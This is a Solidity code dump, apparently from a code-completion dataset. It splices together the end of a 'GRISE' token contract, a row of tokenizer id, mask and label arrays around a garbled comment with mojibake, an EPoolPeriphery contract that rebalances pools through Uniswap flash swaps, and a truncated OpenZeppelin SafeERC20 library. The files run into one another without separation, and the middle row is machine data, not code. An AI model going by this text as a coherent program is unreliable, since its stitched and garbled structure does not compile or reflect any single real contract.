* - `account` must have at least `amount` tokens.
*/
function _burn(
address account,
uint256 amount
)
internal
virtual
{
require(
account != address(0x0)
);
_balances[account] =
_balances[account].sub(amount);
_totalSupply =
_totalSupply.sub(amount);
totalToken[currentGriseDay()] = _totalSupply.add(stakedToken);
emit Transfer(
account,
address(0x0),
amount
);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
)
internal
virtual
{
require(
owner != address(0x0)
);
require(
spender != address(0x0)
);
_allowances[owner][spender] = amount;
emit Approval(
owner,
spender,
amount
);
}
/**
* @notice ability to define liquidity transformer contract
* @dev this method renounce liquidtyGateKeeper access
* @param _immutableGateKeeper contract address
*/
function setLiquidtyGateKeeper(
address _immutableGateKeeper
)
external
{
require(
liquidtyGateKeeper == _msgSender(),
'GRISE: Operation not allowed'
);
LIQUIDITY_GATEKEEPER = _immutableGateKeeper;
liquidtyGateKeeper = address(0x0);
}
/**
* @notice ability to define Staker contract
* @dev this method renounce stakeGateKeeper access
* @param _immutableGateKeeper contract address
*/
function setStakeGateKeeper(
address _immutableGateKeeper
)
external
{
require(
stakeGateKeeper == _msgSender(),
'GRISE: Operation not allowed'
);
STAKE_GATEKEEPER = _immutableGateKeeper;
stakeGateKeeper = address(0x0);
}
/**
* @notice ability to define vault contract
* @dev this method renounce vaultGateKeeper access
* @param _immutableGateKeeper contract address
*/
function setVaultGateKeeper(
address _immutableGateKeeper
)
external
{
require(
vaultGateKeeper == _msgSender(),
'GRISE: Operation not allowed'
);
VAULT_GATEKEEPER = _immutableGateKeeper;
vaultGateKeeper = address(0x0);
}
modifier interfaceValidator() {
require (
_msgSender() == LIQUIDITY_GATEKEEPER ||
_msgSender() == STAKE_GATEKEEPER ||
_msgSender() == VAULT_GATEKEEPER,
'GRISE: Operation not allowed'
);
_;
}
/**
* @notice allows interfaceValidator to mint supply
* @param _investorAddress address for minting GRISE tokens
* @param _amount of tokens to mint for _investorAddress
*/
function mintSupply(
address _investorAddress,
uint256 _amount
)
external
interfaceValidator
{
_mint(
_investorAddress,
_amount
);
}
/**
* @notice allows interfaceValidator to burn supply
* @param _investorAddress address for minting GRISE tokens
* @param _amount of tokens to mint for _investorAddress
*/
function burnSupply(
address _investorAddress,
uint256 _amount
)
external
interfaceValidator
{
_burn(
_investorAddress,
_amount
);
}
function viewTokenHolderTranscReward()
external
view
returns (uint256 rewardAmount)
{
uint256 _day = currentGriseDay();
if( (balanceOf(_msgSender()) <= 0) ||
isTranscFeeClaimed[_msgSender()][calculateGriseWeek(_day)] ||
calculateGriseWeek(_day) != currentGriseWeek())
{
rewardAmount = 0;
}
else
{
uint256 calculationDay = _day.mod(GRISE_WEEK) > 0 ?
_day.sub(_day.mod(GRISE_WEEK)) :
_day.sub(GRISE_WEEK);
for (uint256 day = calculationDay; day < _day; day++)
{
rewardAmount += tokenHolderReward[day]
.mul(_balances[_msgSender()])
.div(totalToken[day]);
}
}
}
function claimTokenHolderTranscReward()
external
returns (uint256 rewardAmount)
{
uint256 _day = currentGriseDay();
require(
balanceOf(_msgSender()) > 0,
'GRISE - Token holder doesnot enough balance to claim reward'
);
require(
(currentGriseDay().mod(GRISE_WEEK)) == 0,
'GRISE - Transcation Reward window is not yeat open'
);
require(
calculateGriseWeek(_day) == currentGriseWeek(),
'GRISE - You are late/early to claim reward'
);
require(
!isTranscFeeClaimed[_msgSender()][currentGriseWeek()],
'GRISE - Transcation Reward is already been claimed'
);
for (uint256 day = _day.sub(GRISE_WEEK); day < _day; day++)
{
rewardAmount += tokenHolderReward[day]
.mul(_balances[_msgSender()])
.div(totalToken[day]);
}
_mint(
_msgSender(),
rewardAmount
);
isTranscFeeClaimed[_msgSender()][currentGriseWeek()] = true;
TranscFeeClaimed(_msgSender(), currentGriseWeek(), rewardAmount);
}
function setStaker(
address _staker
)
external
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
staker[_staker] = staker[_staker] + 1;
}
function resetStaker(
address _staker
)
external
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
if (staker[_staker] > 0)
{
staker[_staker] = staker[_staker] - 1;
}
}
function updateStakedToken(
uint256 _stakedToken
)
external
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
stakedToken = _stakedToken;
totalToken[currentGriseDay()] = totalSupply().add(stakedToken);
}
function updateMedTermShares(
uint256 _shares
)
external
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
mediumTermShares = _shares;
}
function getTransFeeReward(
uint256 _fromDay,
uint256 _toDay
)
external
view
returns (uint256 rewardAmount)
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
for(uint256 day = _fromDay; day < _toDay; day++)
{
rewardAmount += stakerRewardPerShare[day];
}
}
function getReservoirReward(
uint256 _fromDay,
uint256 _toDay
)
external
view
returns (uint256 rewardAmount)
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
for(uint256 day = _fromDay; day < _toDay; day++)
{
rewardAmount += reservoirRewardPerShare[day];
}
}
function getTokenHolderReward(
uint256 _fromDay,
uint256 _toDay
)
external
view
returns (uint256 rewardAmount)
{
require(
_msgSender() == STAKE_GATEKEEPER,
'GRISE: Operation not allowed'
);
for(uint256 day = _fromDay; day < _toDay; day++)
{
rewardAmount += tokenHolderReward[day]
.mul(PRECISION_RATE)
.div(totalToken[day]);
}
}
function timeToClaimWeeklyReward()
public
view
returns (uint256 _days)
{
_days = currentGriseDay().mod(GRISE_WEEK) > 0 ?
GRISE_WEEK - currentGriseDay().mod(GRISE_WEEK) :
0;
}
function timeToClaimMonthlyReward()
public
view
returns (uint256 _days)
{
_days = currentGriseDay().mod(GRISE_MONTH) > 0 ?
GRISE_MONTH - currentGriseDay().mod(GRISE_MONTH) :
0;
}
function balanceOfStaker(
address account
)
external
view
returns (uint256)
{
return _balances[account];
}
function getEpocTime()
external
view
returns (uint256)
{
return block.timestamp;
}
function getLaunchTime()
external
view
returns (uint256)
{
return LAUNCH_TIME;
}
function getLPLaunchTime()
external
view
returns (uint256)
{
return LP_LAUNCH_TIME;
}
function isStaker(
address _staker
)
external
view
returns (bool status)
{
status = (staker[_staker] > 0) ? true : false;
}
}
|
* @dev initial private/* @dev ๐ป Initial supply/
|
constructor (string memory tokenName, string memory tokenSymbol) {
_name = tokenName;
_symbol = tokenSymbol;
liquidtyGateKeeper = _msgSender();
stakeGateKeeper = _msgSender();
vaultGateKeeper = _msgSender();
}
| 1,137,841 |
[
1,
6769,
3238,
19,
225,
225,
177,
258,
244,
124,
10188,
14467,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
261,
1080,
3778,
1147,
461,
16,
533,
3778,
1147,
5335,
13,
288,
203,
3639,
389,
529,
273,
1147,
461,
31,
203,
3639,
389,
7175,
273,
1147,
5335,
31,
203,
3639,
4501,
26595,
4098,
13215,
17891,
273,
389,
3576,
12021,
5621,
203,
3639,
384,
911,
13215,
17891,
273,
389,
3576,
12021,
5621,
203,
3639,
9229,
13215,
17891,
273,
389,
3576,
12021,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IKeeperSubsidyPool.sol";
import "./interfaces/IUniswapRouterV2.sol";
import "./interfaces/IUniswapFactory.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IEToken.sol";
import "./interfaces/IEPoolPeriphery.sol";
import "./interfaces/IEPool.sol";
import "./utils/ControllerMixin.sol";
import "./utils/TokenUtils.sol";
import "./EPoolLibrary.sol";
import "hardhat/console.sol";
contract EPoolPeriphery is ControllerMixin, IEPoolPeriphery {
using SafeERC20 for IERC20;
using TokenUtils for IERC20;
using TokenUtils for IEToken;
IUniswapV2Factory public immutable override factory;
IUniswapV2Router01 public immutable override router;
// Keeper subsidy pool for making rebalancing via flash swaps capital neutral for msg.sender
IKeeperSubsidyPool public immutable override keeperSubsidyPool;
// supported EPools by the periphery
mapping(address => bool) public override ePools;
// max. allowed slippage between EPool oracle and uniswap when executing a flash swap
uint256 public override maxFlashSwapSlippage;
event IssuedEToken(
address indexed ePool, address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user
);
event RedeemedEToken(
address indexed ePool, address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user
);
event SetEPoolApproval(address indexed ePool, bool approval);
event SetMaxFlashSwapSlippage(uint256 maxFlashSwapSlippage);
event RecoveredToken(address token, uint256 amount);
/**
* @param _controller Address of the controller
* @param _factory Address of the Uniswap V2 factory
* @param _router Address of the Uniswap V2 router
* @param _keeperSubsidyPool Address of keeper subsidiy pool
* @param _maxFlashSwapSlippage Max. allowed slippage between EPool oracle and uniswap
*/
constructor(
IController _controller,
IUniswapV2Factory _factory,
IUniswapV2Router01 _router,
IKeeperSubsidyPool _keeperSubsidyPool,
uint256 _maxFlashSwapSlippage
) ControllerMixin(_controller) {
factory = _factory;
router = _router;
keeperSubsidyPool = _keeperSubsidyPool;
maxFlashSwapSlippage = _maxFlashSwapSlippage; // e.g. 1.05e18 -> 5% slippage
}
/**
* @notice Returns the address of the current Aggregator which provides the exchange rate between TokenA and TokenB
* @return Address of aggregator
*/
function getController() external view override returns (address) {
return address(controller);
}
/**
* @notice Updates the Controller
* @dev Can only called by an authorized sender
* @param _controller Address of the new Controller
* @return True on success
*/
function setController(address _controller) external override onlyDao("EPoolPeriphery: not dao") returns (bool) {
_setController(_controller);
return true;
}
/**
* @notice Give or revoke approval a EPool for the EPoolPeriphery
* @dev Can only called by the DAO or the guardian
* @param ePool Address of the EPool
* @param approval Boolean on whether approval for EPool should be given or revoked
* @return True on success
*/
function setEPoolApproval(
IEPool ePool,
bool approval
) external override onlyDaoOrGuardian("EPoolPeriphery: not dao or guardian") returns (bool) {
if (approval) {
// assuming EPoolPeriphery only holds funds within calls
ePool.tokenA().approve(address(ePool), type(uint256).max);
ePool.tokenB().approve(address(ePool), type(uint256).max);
ePools[address(ePool)] = true;
} else {
ePool.tokenA().approve(address(ePool), 0);
ePool.tokenB().approve(address(ePool), 0);
ePools[address(ePool)] = false;
}
emit SetEPoolApproval(address(ePool), approval);
return true;
}
/**
* @notice Set max. slippage between EPool oracle and uniswap when performing flash swap
* @dev Can only be callede by the DAO or the guardian
* @param _maxFlashSwapSlippage Max. flash swap slippage
* @return True on success
*/
function setMaxFlashSwapSlippage(
uint256 _maxFlashSwapSlippage
) external override onlyDaoOrGuardian("EPoolPeriphery: not dao or guardian") returns (bool) {
maxFlashSwapSlippage = _maxFlashSwapSlippage;
emit SetMaxFlashSwapSlippage(maxFlashSwapSlippage);
return true;
}
/**
* @notice Issues an amount of EToken for maximum amount of TokenA
* @dev Reverts if maxInputAmountA is exceeded. Unused amount of TokenA is refunded to msg.sender.
* Requires setting allowance for TokenA.
* @param ePool Address of the EPool
* @param eToken Address of the EToken of the tranche
* @param amount Amount of EToken to issue
* @param maxInputAmountA Max. amount of TokenA to deposit
* @param deadline Timestamp at which tx expires
* @return True on success
*/
function issueForMaxTokenA(
IEPool ePool,
address eToken,
uint256 amount,
uint256 maxInputAmountA,
uint256 deadline
) external override returns (bool) {
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
(IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB());
tokenA.safeTransferFrom(msg.sender, address(this), maxInputAmountA);
IEPool.Tranche memory t = ePool.getTranche(eToken);
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
t, amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
// swap part of input amount for amountB
require(maxInputAmountA >= amountA, "EPoolPeriphery: insufficient max. input");
uint256 amountAToSwap = maxInputAmountA - amountA;
address[] memory path = new address[](2);
path[0] = address(tokenA);
path[1] = address(tokenB);
tokenA.approve(address(router), amountAToSwap);
uint256[] memory amountsOut = router.swapTokensForExactTokens(
amountB, amountAToSwap, path, address(this), deadline
);
// do the deposit (TokenA is already approved)
ePool.issueExact(eToken, amount);
// transfer EToken to msg.sender
IERC20(eToken).safeTransfer(msg.sender, amount);
// refund unused maxInputAmountA -= amountA + amountASwappedForAmountB
tokenA.safeTransfer(msg.sender, maxInputAmountA - amountA - amountsOut[0]);
emit IssuedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender);
return true;
}
/**
* @notice Issues an amount of EToken for maximum amount of TokenB
* @dev Reverts if maxInputAmountB is exceeded. Unused amount of TokenB is refunded to msg.sender.
* Requires setting allowance for TokenB.
* @param ePool Address of the EPool
* @param eToken Address of the EToken of the tranche
* @param amount Amount of EToken to issue
* @param maxInputAmountB Max. amount of TokenB to deposit
* @param deadline Timestamp at which tx expires
* @return True on success
*/
function issueForMaxTokenB(
IEPool ePool,
address eToken,
uint256 amount,
uint256 maxInputAmountB,
uint256 deadline
) external override returns (bool) {
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
(IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB());
tokenB.safeTransferFrom(msg.sender, address(this), maxInputAmountB);
IEPool.Tranche memory t = ePool.getTranche(eToken);
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
t, amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
// swap part of input amount for amountB
require(maxInputAmountB >= amountB, "EPoolPeriphery: insufficient max. input");
uint256 amountBToSwap = maxInputAmountB - amountB;
address[] memory path = new address[](2);
path[0] = address(tokenB);
path[1] = address(tokenA);
tokenB.approve(address(router), amountBToSwap);
uint256[] memory amountsOut = router.swapTokensForExactTokens(
amountA, amountBToSwap, path, address(this), deadline
);
// do the deposit (TokenB is already approved)
ePool.issueExact(eToken, amount);
// transfer EToken to msg.sender
IERC20(eToken).safeTransfer(msg.sender, amount);
// refund unused maxInputAmountB -= amountB + amountBSwappedForAmountA
tokenB.safeTransfer(msg.sender, maxInputAmountB - amountB - amountsOut[0]);
emit IssuedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender);
return true;
}
/**
* @notice Redeems an amount of EToken for a min. amount of TokenA
* @dev Reverts if minOutputA is not met. Requires setting allowance for EToken
* @param ePool Address of the EPool
* @param eToken Address of the EToken of the tranche
* @param amount Amount of EToken to redeem
* @param minOutputA Min. amount of TokenA to withdraw
* @param deadline Timestamp at which tx expires
* @return True on success
*/
function redeemForMinTokenA(
IEPool ePool,
address eToken,
uint256 amount,
uint256 minOutputA,
uint256 deadline
) external override returns (bool) {
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
(IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB());
IERC20(eToken).safeTransferFrom(msg.sender, address(this), amount);
// do the withdraw
IERC20(eToken).approve(address(ePool), amount);
(uint256 amountA, uint256 amountB) = ePool.redeemExact(eToken, amount);
// convert amountB withdrawn from EPool into TokenA
address[] memory path = new address[](2);
path[0] = address(tokenB);
path[1] = address(tokenA);
tokenB.approve(address(router), amountB);
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountB, 0, path, address(this), deadline
);
uint256 outputA = amountA + amountsOut[1];
require(outputA >= minOutputA, "EPoolPeriphery: insufficient output amount");
IERC20(tokenA).safeTransfer(msg.sender, outputA);
emit RedeemedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender);
return true;
}
/**
* @notice Redeems an amount of EToken for a min. amount of TokenB
* @dev Reverts if minOutputB is not met. Requires setting allowance for EToken
* @param ePool Address of the EPool
* @param eToken Address of the EToken of the tranche
* @param amount Amount of EToken to redeem
* @param minOutputB Min. amount of TokenB to withdraw
* @param deadline Timestamp at which tx expires
* @return True on success
*/
function redeemForMinTokenB(
IEPool ePool,
address eToken,
uint256 amount,
uint256 minOutputB,
uint256 deadline
) external override returns (bool) {
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
(IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB());
IERC20(eToken).safeTransferFrom(msg.sender, address(this), amount);
// do the withdraw
IERC20(eToken).approve(address(ePool), amount);
(uint256 amountA, uint256 amountB) = ePool.redeemExact(eToken, amount);
// convert amountB withdrawn from EPool into TokenA
address[] memory path = new address[](2);
path[0] = address(tokenA);
path[1] = address(tokenB);
tokenA.approve(address(router), amountA);
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountA, 0, path, address(this), deadline
);
uint256 outputB = amountB + amountsOut[1];
require(outputB >= minOutputB, "EPoolPeriphery: insufficient output amount");
IERC20(tokenB).safeTransfer(msg.sender, outputB);
emit RedeemedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender);
return true;
}
/**
* @notice Rebalances a EPool. Capital required for rebalancing is obtained via a flash swap.
* The potential slippage between the EPool oracle and uniswap is covered by the KeeperSubsidyPool.
* @dev Fails if maxFlashSwapSlippage is exceeded in uniswapV2Call
* @param ePool Address of the EPool to rebalance
* @param fracDelta Fraction of the delta to rebalance (1e18 for rebalancing the entire delta)
* @return True on success
*/
function rebalanceWithFlashSwap(
IEPool ePool,
uint256 fracDelta
) external override returns (bool) {
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
(address tokenA, address tokenB) = (address(ePool.tokenA()), address(ePool.tokenB()));
(uint256 deltaA, uint256 deltaB, uint256 rChange, ) = EPoolLibrary.delta(
ePool.getTranches(), ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(tokenA), address(tokenB)));
// map deltaA, deltaB to amountOut0, amountOut1
uint256 amountOut0; uint256 amountOut1;
if (rChange == 0) {
(amountOut0, amountOut1) = (address(tokenA) == pair.token0())
? (uint256(0), deltaB) : (deltaB, uint256(0));
} else {
(amountOut0, amountOut1) = (address(tokenA) == pair.token0())
? (deltaA, uint256(0)) : (uint256(0), deltaA);
}
bytes memory data = abi.encode(ePool, fracDelta);
pair.swap(amountOut0, amountOut1, address(this), data);
return true;
}
/**
* @notice rebalanceAllWithFlashSwap callback called by the uniswap pair
* @dev Trusts that deltas are actually forwarded by the EPool.
* Verifies that funds are forwarded from flash swap of the uniswap pair.
* param sender Address of the flash swap initiator
* param amount0
* param amount1
* @param data Data forwarded in the flash swap
*/
function uniswapV2Call(
address /* sender */, // skip sender check, check for forwarded funds by flash swap is sufficient
uint256 /* amount0 */,
uint256 /* amount1 */,
bytes calldata data
) external {
(IEPool ePool, uint256 fracDelta) = abi.decode(data, (IEPool, uint256));
require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool");
// fails if no funds are forwarded in the flash swap callback from the uniswap pair
// TokenA, TokenB are already approved
(uint256 deltaA, uint256 deltaB, uint256 rChange, ) = ePool.rebalance(fracDelta);
address[] memory path = new address[](2); // [0] flash swap repay token, [1] flash lent token
uint256 amountsIn; // flash swap repay amount
uint256 deltaOut;
if (rChange == 0) {
// release TokenA, add TokenB to EPool -> flash swap TokenB, repay with TokenA
path[0] = address(ePool.tokenA()); path[1] = address(ePool.tokenB());
(amountsIn, deltaOut) = (router.getAmountsIn(deltaB, path)[0], deltaA);
} else {
// add TokenA, release TokenB to EPool -> flash swap TokenA, repay with TokenB
path[0] = address(ePool.tokenB()); path[1] = address(ePool.tokenA());
(amountsIn, deltaOut) = (router.getAmountsIn(deltaA, path)[0], deltaB);
}
// if slippage is negative request subsidy, if positive top of KeeperSubsidyPool
if (amountsIn > deltaOut) {
require(
amountsIn * EPoolLibrary.sFactorI / deltaOut <= maxFlashSwapSlippage,
"EPoolPeriphery: excessive slippage"
);
keeperSubsidyPool.requestSubsidy(path[0], amountsIn - deltaOut);
} else if (amountsIn < deltaOut) {
IERC20(path[0]).safeTransfer(address(keeperSubsidyPool), deltaOut - amountsIn);
}
// repay flash swap by sending amountIn to pair
IERC20(path[0]).safeTransfer(msg.sender, amountsIn);
}
/**
* @notice Recovers untracked amounts
* @dev Can only called by an authorized sender
* @param token Address of the token
* @param amount Amount to recover
* @return True on success
*/
function recover(IERC20 token, uint256 amount) external override onlyDao("EPool: not dao") returns (bool) {
token.safeTransfer(msg.sender, amount);
emit RecoveredToken(address(token), amount);
return true;
}
/* ------------------------------------------------------------------------------------------------------- */
/* view and pure methods */
/* ------------------------------------------------------------------------------------------------------- */
function minInputAmountAForEToken(
IEPool ePool,
address eToken,
uint256 amount
) external view returns (uint256 minTokenA) {
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
address[] memory path = new address[](2);
path[0] = address(ePool.tokenA());
path[1] = address(ePool.tokenB());
minTokenA = amountA + router.getAmountsIn(amountB, path)[0];
}
// does not include price impact, which would result in a smaller EToken amount
function eTokenForMinInputAmountA_Unsafe(
IEPool ePool,
address eToken,
uint256 minInputAmountA
) external view returns (uint256 amount) {
IEPool.Tranche memory t = ePool.getTranche(eToken);
uint256 rate = ePool.getRate();
uint256 sFactorA = ePool.sFactorA();
uint256 sFactorB = ePool.sFactorB();
uint256 ratio = EPoolLibrary.currentRatio(t, rate, sFactorA, sFactorB);
(uint256 amountAIdeal, uint256 amountBIdeal) = EPoolLibrary.tokenATokenBForTokenA(
minInputAmountA, ratio, rate, sFactorA, sFactorB
);
return EPoolLibrary.eTokenForTokenATokenB(t, amountAIdeal, amountBIdeal, rate, sFactorA, sFactorB);
}
function minInputAmountBForEToken(
IEPool ePool,
address eToken,
uint256 amount
) external view returns (uint256 minTokenB) {
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
address[] memory path = new address[](2);
path[0] = address(ePool.tokenB());
path[1] = address(ePool.tokenA());
minTokenB = amountB + router.getAmountsIn(amountA, path)[0];
}
// does not include price impact, which would result in a smaller EToken amount
function eTokenForMinInputAmountB_Unsafe(
IEPool ePool,
address eToken,
uint256 minInputAmountB
) external view returns (uint256 amount) {
IEPool.Tranche memory t = ePool.getTranche(eToken);
uint256 rate = ePool.getRate();
uint256 sFactorA = ePool.sFactorA();
uint256 sFactorB = ePool.sFactorB();
uint256 ratio = EPoolLibrary.currentRatio(t, rate, sFactorA, sFactorB);
(uint256 amountAIdeal, uint256 amountBIdeal) = EPoolLibrary.tokenATokenBForTokenB(
minInputAmountB, ratio, rate, sFactorA, sFactorB
);
return EPoolLibrary.eTokenForTokenATokenB(t, amountAIdeal, amountBIdeal, rate, sFactorA, sFactorB);
}
function maxOutputAmountAForEToken(
IEPool ePool,
address eToken,
uint256 amount
) external view returns (uint256 maxTokenA) {
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
uint256 feeRate = ePool.feeRate();
amountA = amountA - amountA * feeRate / EPoolLibrary.sFactorI;
amountB = amountB - amountB * feeRate / EPoolLibrary.sFactorI;
address[] memory path = new address[](2);
path[0] = address(ePool.tokenB());
path[1] = address(ePool.tokenA());
maxTokenA = amountA + router.getAmountsOut(amountB, path)[1];
}
function maxOutputAmountBForEToken(
IEPool ePool,
address eToken,
uint256 amount
) external view returns (uint256 maxTokenB) {
(uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken(
ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()
);
uint256 feeRate = ePool.feeRate();
amountA = amountA - amountA * feeRate / EPoolLibrary.sFactorI;
amountB = amountB - amountB * feeRate / EPoolLibrary.sFactorI;
address[] memory path = new address[](2);
path[0] = address(ePool.tokenA());
path[1] = address(ePool.tokenB());
maxTokenB = amountB + router.getAmountsOut(amountA, path)[1];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
